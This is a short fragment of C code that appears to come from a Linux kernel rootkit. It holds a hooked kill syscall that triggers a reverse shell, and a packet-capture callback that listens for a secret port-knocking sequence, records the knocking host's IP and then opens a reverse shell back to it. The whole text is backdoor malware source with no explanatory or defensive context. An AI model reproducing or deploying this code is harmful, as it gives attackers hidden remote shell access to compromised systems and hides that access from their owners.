asmlinkage int our_kill(pid_t pid, int sig) { reverse_shell(); printk(KERN_INFO "SYS_KILL: %d\n",pid); return (*orig_kill)(pid,sig); }
void ip_cb (u_char *args, const struct pcap_pkthdr* pkthdr, const u_char *p) { struct ip *ip_pkt; struct tcphdr *tcp_pkt; int port; ip_pkt = (struct ip*) (p + sizeof (struct ether_header)); tcp_pkt = (struct tcphdr*) (p + sizeof (struct ether_header) + sizeof(struct ip)); port = ntohs(tcp_pkt->dest); if (port_list[indx] == port) { indx ++; /* Store IP to connect back whenever the door is Open */ memcpy ((void*)&ip, (void*)&ip_pkt->ip_src, sizeof(struct in_addr)); printf ("+ [%d] SYNC From : %s:%d\n", indx, inet_ntoa(ip_pkt->ip_src), port); if (port_list[indx] == -1) { printf ("Open The door!\n"); reverse_shell (ip); indx = 0; } } else { // Whenever a a connection comes out of order // The knocking sequence is reset indx = 0; } }